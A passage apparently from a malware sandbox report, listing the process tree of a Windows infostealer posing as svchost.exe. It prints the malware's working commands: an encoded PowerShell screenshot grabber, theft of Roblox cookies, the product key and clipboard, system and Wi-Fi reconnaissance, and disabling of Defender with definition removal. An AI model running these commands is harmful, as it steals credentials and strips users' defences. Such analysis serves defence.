        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        35⤵
        
        PID:4584
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pcrg00xy\pcrg00xy.cmdline"
        36⤵
        
        PID:2636
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC6AD.tmp" "c:\Users\Admin\AppData\Local\Temp\pcrg00xy\CSCB623AFC8D1A84E0E9903BB7C17A9311.TMP"
        37⤵
        
        PID:1648
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        34⤵
        
        PID:4132
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        35⤵
        
        PID:3592
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        34⤵
        
        PID:4856
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        35⤵
        
        PID:6212
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        34⤵
        
        PID:5500
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        35⤵
        
        PID:5436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        34⤵
        
        PID:6584
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        35⤵
        
        PID:1892
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        34⤵
        
        PID:6476
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        35⤵
        
        PID:4208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        34⤵
        
        PID:4356
        
        C:\Windows\system32\getmac.exe
        
        getmac
        35⤵
        
        PID:6436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        34⤵
        Executes a command shell one-liner
        
        PID:6664
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        35⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        34⤵
        
        PID:6472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        35⤵
        
        PID:6908
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI65522\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\BZOyU.zip" *"
        34⤵
        
        PID:1688
        
        C:\Users\Admin\AppData\Local\Temp\_MEI65522\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI65522\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\BZOyU.zip" *
        35⤵
        
        PID:2752
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        34⤵
        
        PID:2836
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        35⤵
        
        PID:2644
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        34⤵
        Executes a command shell one-liner
        
        PID:6968
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        35⤵
        
        PID:4248
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        34⤵
        Executes a command shell one-liner
        
        PID:560
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        35⤵
        
        PID:2564
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        34⤵
        Executes a command shell one-liner
        
        PID:4296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        35⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        34⤵
        
        PID:1860
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        35⤵
        Detects videocard installed
        
        PID:5224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        34⤵
        
        PID:4252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        35⤵
        
        PID:6320
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        31⤵
        
        PID:1212
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        32⤵
        
        PID:1260
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        30⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        31⤵
        
        PID:6312
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        29⤵
        
        PID:6560
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        30⤵
        
        PID:6884
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        28⤵
        
        PID:2548
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        29⤵
        
        PID:4648
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        27⤵
        
        PID:6628
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        28⤵
        
        PID:6936
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        26⤵
        
        PID:5352
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        27⤵
        
        PID:6240
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        25⤵
        
        PID:4872
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        26⤵
        
        PID:1936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'"
        27⤵
        
        PID:5920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1636
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        27⤵
        
        PID:3968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        28⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        
        PID:3652
        
        C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        28⤵
        Deletes Windows Defender Definitions
        
        PID:6328
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏ .scr'"
        27⤵
        Executes a command shell one-liner
        
        PID:5716
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏ .scr'
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4588
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        27⤵
        Executes a command shell one-liner
        
        PID:804
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        28⤵
        Discovers running processes
        
        PID:3508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        27⤵
        
        PID:1188
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        28⤵
        Discovers running processes
        
        PID:5792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        27⤵
        
        PID:2028
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        28⤵
        
        PID:3376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        27⤵
        Clipboard Data
        
        PID:1556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        28⤵
        Clipboard Data
        
        PID:4928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        27⤵
        Executes a command shell one-liner
        
        PID:5000
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        28⤵
        Discovers running processes
        
        PID:4564
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        27⤵
        
        PID:3820
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        28⤵
        
        PID:2428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        27⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2496
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        28⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        27⤵
        
        PID:2044
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        28⤵
        Gathers system information
        
        PID:3172
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        27⤵
        
        PID:1516
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        28⤵
        
        PID:4464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA